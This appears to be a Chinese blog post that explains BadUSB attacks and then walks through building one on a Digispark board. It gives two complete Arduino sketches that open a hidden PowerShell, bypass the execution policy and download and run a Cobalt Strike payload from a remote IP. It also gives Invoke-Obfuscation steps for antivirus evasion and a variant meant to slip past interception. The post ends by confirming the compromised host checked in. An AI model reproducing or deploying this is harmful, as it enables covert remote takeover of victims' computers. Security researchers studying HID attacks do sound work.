badusb
badusb介绍
BadUSB是利用伪造HID设备执行攻击载荷的一种攻击方式。HID(Human InterfaceDevice)设备通常指的就是键盘鼠标等与人交互的设备,用户插入BadUSB,就会自动执行预置在固件中的恶意代码。
BadUsb插入后,会模拟键盘鼠标对电脑进行操作,通过这些操作打开电脑的命令终端,并执行一条命令,这条命令将从指定网址下载其他代码并于后台静默运行。这些代码功能包括:窃取信息、反弹shell、发送邮件等,从而实现控制目标机或者窃取信息的目的。
恶意代码存在于U盘的固件中,PC上的杀毒软件无法访问到U盘存放固件的区域,因此也就意味着杀毒软件和U盘格式化都无法防御BadUSB的攻击。
badusb原理
主机是通过设备固件中的某些描述符来判断USB哪种设备的。这就意味着我们可以利用此漏洞将一些特殊的USB设备伪装成为其他任何设备,例如输入设备、网卡等等。
当插入USB设备后,主机驱动会向设备请求各种描述符来识别设备,为了把一个设备识别成HID类别,设备固件在定义描述符的时候必须遵守HID规约。
构成:
- 普通U盘一般都是由闪存(FLASH)和主控(MCU)构成,主控主要负责控制数据读写任务分配,闪存的话一般有一部分用来存放u盘固件(无法直接读取),其它部分用来进行读写和存储。
- BadUsb就是利用对u盘固件进行重新编程,将虚拟键盘输入转为协议约定的字节指令集成进固件中,让主机将usb识别为一块键盘,并执行事先编写好的虚拟键盘输入。
利用
CS马
使用Invoke-Obfuscation编码,简单做一下免杀:
进入Invoke-Obfuscation目录后,在PowerShell中执行命令
set scriptpath C:\Users\86153\Desktop\payload.ps1
encoding
6
out C:\Users\86153\Desktop\payload1.ps1
badusb环境
- 安装Arduino IDE
https://downloads.arduino.cc/arduino-1.8.16-windows.zip
下载完成后解压,打开exe
点击文件->首选项
在附加开发版管理器网址处添加 http://digistump.com/package_digistump_index.json
在工具->开发板:"Arduino Leonardo"->开发板管理器
找到 digistump avr boards进行下载
之后再开发板处选择digispark(default-16.5mhz)
- 安装驱动使用digistump drivers
链接:http://pan.baidu.com/s/1i4K10dn 密码:ilaf
如果是 64 位操作系统请选择 DPinst64.exe,否则选择 DPinst.exe.
至此环境配置结束
badusb制作
将代码贴至Arduino点击上传
#include "DigiKeyboard.h"
#define KEY_ESC 41
#define KEY_BACKSPACE 42
#define KEY_TAB 43
#define KEY_PRT_SCR 70
#define KEY_DELETE 76
void setup() {
DigiKeyboard.delay(5000);
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(3000);
DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT);
DigiKeyboard.delay(1000);
DigiKeyboard.print(F("powershell -WindowStyle Hidden -NoLogo -executionpolicy bypass IEX(New-Object Net.WebClient).DownloadString('http://192.168.111.252/payload.ps1');"));
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(750);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
}
void loop() {
}
或者将打开powershell和执行命令分开(可以绕过一些拦截)
# include "DigiKeyboard.h"
# define KEY_ESC 41
# define KEY_BACKSPACE 42
# define KEY_TAB 43
# define KEY_PRT_SCR 70
# define KEY_DELETE 76
void setup() {
DigiKeyboard.delay(5000);
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(3000);
DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT);
DigiKeyboard.delay(750);
DigiKeyboard.print(F("powershell"))
DigiKeyboard.delay(750);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(750);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(750);
DigiKeyboard.print(F("IEX(New-Object Net.WebClient).DownloadString('http://123.207.101.205:8000/cs.ps1');"));
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(750);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
}
void loop() {
}
出现如下图,插上我们准备的badusb
直至出现thank you,此时我们的badusb就已经做好了
测试
插上badusb后发现我们的cs上线
参考
https://www.freebuf.com/articles/system/292358.html
https://www.cnblogs.com/qianxiao996/p/13574566.html
https://mp.weixin.qq.com/s/UROx1fJOmMVbmH_-UasFEQ
badusb的更多相关文章
- 利用Arduino快速制作Teensy BadUSB
0×00 介绍 本文想以较简单的方式,叙述Arduino版BadUSB的制作过程.我知道在这之前已经有很多前辈都写过相关的文章,但小白可能还有点迷糊,所以这篇文章是快速带大家入门了解,我也是菜B大神不 ...
- 【micropython】用python来进行BadUSB的USB-HID测试(含无线控制)
转载请注明:@小五义http://www.cnblogs.com/xiaowuyiQQ群:64770604 本文以TPYBoardv101开发板为例讲解了利用micropython进行BadUSB的u ...
- 利用烧鹅制作简单BadUSB,插谁谁怀孕
所用硬件设备为烧鹅,烧鹅是RadioWar基于Teensy++ 2.0 AT90USB1286芯片设计的USB Rubber Ducky类开发板. 使用veil编码meterpreter生成paylo ...
- BadUSB的防范研究
近期爆出的badUSB漏洞,通过将病毒植入固件,能够伪装成键盘等设备,直接控制电脑,业界还没有非常好的修复方法. 从安全产品的角度.对于这个问题的防范,有下面几点可能不成熟的想法 1.病毒伪装成键盘. ...
- 利用Arduino快速制作Teensy BadUSB, 攻击计算机
BadUsb介绍 BadUSB是计算机安全领域的热门话题之一,该漏洞由Karsten Nohl和Jakob Lell共同发现,并在2014年的BlackHat安全大会上公布. 虽然已隔一两年,但还是有 ...
- 【原创】Arduino制作Badusb实践
1.U盘构造 U盘由芯片控制器和闪存两部分组成. 芯片控制器负责与PC的通讯和识别,闪存用来做数据存储: 闪存中有一部分区域用来存放U盘的固件,它的作用类似于操作系统,控制软硬件交互:固件无 ...
- 【360图书馆】插入U盘自动攻击:BadUSB原理与实现
插入U盘自动攻击:BadUSB原理与实现 漏洞背景 “BadUSB”是今年计算机安全领域的热门话题之一,该漏洞由Karsten Nohl和Jakob Lell共同发现,并在今年的Black ...
- Arduino+Avr libc制作Badusb原理及示例讲解
一. 前言 2014年美国黑帽大会上研究人员JakobLell和Karsten Nohl展示了badusb的攻击方法后,国内与badusb相关的文章虽然有了一些,但是大部分人把相关文章都阅读后还是会有 ...
- 基于ArduinoLeonardo板子的BadUSB攻击实战
0X00 前言 在Freebuf上许多同学已经对HID攻击谈了自己的看法,如维克斯同学的<利用Arduino快速制作Teensy BadUSB>无论从科普还是实践都给我们详尽的描述了Bad ...
- 使用Attiny 85开发板制作BadUSB
什么是BadUSB?请查看:http://www.baike.com/wiki/BadUSB 或者看看腾讯这个视频!https://v.qq.com/x/page/l01425u2igw.html ...
随机推荐
- 手把手教你实现pynq-z2条形码识别
我是 雪天鱼,一名FPGA爱好者,研究方向是FPGA架构探索和SOC设计. 关注公众号,拉你进"IC设计交流群". 1.前言 单单实现一个二维码识别就花了将近一个星期,这篇文章我就 ...
- Asp-Net-Core开发笔记:使用NPM和gulp管理前端静态文件
前言 本文介绍的是AspNetCore的MVC项目,WebApi+独立前端这种前后端分离的项目就不需要多此一举了~默认前端小伙伴是懂得使用前端工具链的. 为啥要用MVC这种服务端渲染技术呢? 简单项目 ...
- Solution -「多校联训」战神归来
\(\mathcal{Description}\) Link. 一条地铁线路上共 \(m\) 个站点,\(n\) 个人乘坐地铁,第 \(i\) 个人需要从 \(s_i\) 站坐到 \(e_i\ ...
- CVE-2021-33739 EOP漏洞分析
背景 CVE-2021-33739是一个UAF漏洞,成因是由于在对象CInteractionTrackerBindingManagerMarshaler与对象CInteractionTracker ...
- vscode打开多个文件
vscode短时间内打开多个文件会覆盖原先打开的文件,在右方编辑区只显示一个.若想每次打开,都新创建一个编辑,可以用以下2个简单的方法: 方法一:直接在右侧打开的文件上,Ctrl + S,保存一次,再 ...
- 【C# 基础概念】命名空间
命名空间 C#10 新功能==================== 命名空间格式:声明所有后续声明都是已声明的命名空间的成员: //C#10 命名空间的新写法,这种方式一个文件只能有一个命名空间. / ...
- Oracle数据库对象(表空间/同义词/序列/视图/索引)
数据库对象 Oracle数据库对象: 数据库对象是数据库的组成部分,常常用 CREATE 命令进行创建,可以使用 ALTER 命令修改,用 DROP 执行删除操作. 种类: (1)表空间:所有的数据对 ...
- 图解volatile
volatile是什么 出去面试的时候,很多面试官都会问你:说说你对volatile的理解. 下面我将用图的方式告诉大家,volatile是什么? 如上图所示:每个线程都有自己的工作内存,同时还能访问 ...
- Python:序列化 pickle JSON
序列化 在程序运行的过程中,所有的变量都储存在内存中,例如定义一个dict d=dict(name='Bob',age=20,score=88) 可以随时修改变量,比如把name修改为'Bill',但 ...
- 面试官:Redis中字符串的内部实现方式是什么?
在面试间里等候时,感觉这可真暖和呀,我那冰冷的出租屋还得盖两层被子才能睡着.正要把外套脱下来,我突然听到了门外的脚步声,随即门被打开,穿着干净满脸清秀的青年走了进来,一股男士香水的淡香扑面而来. 面试 ...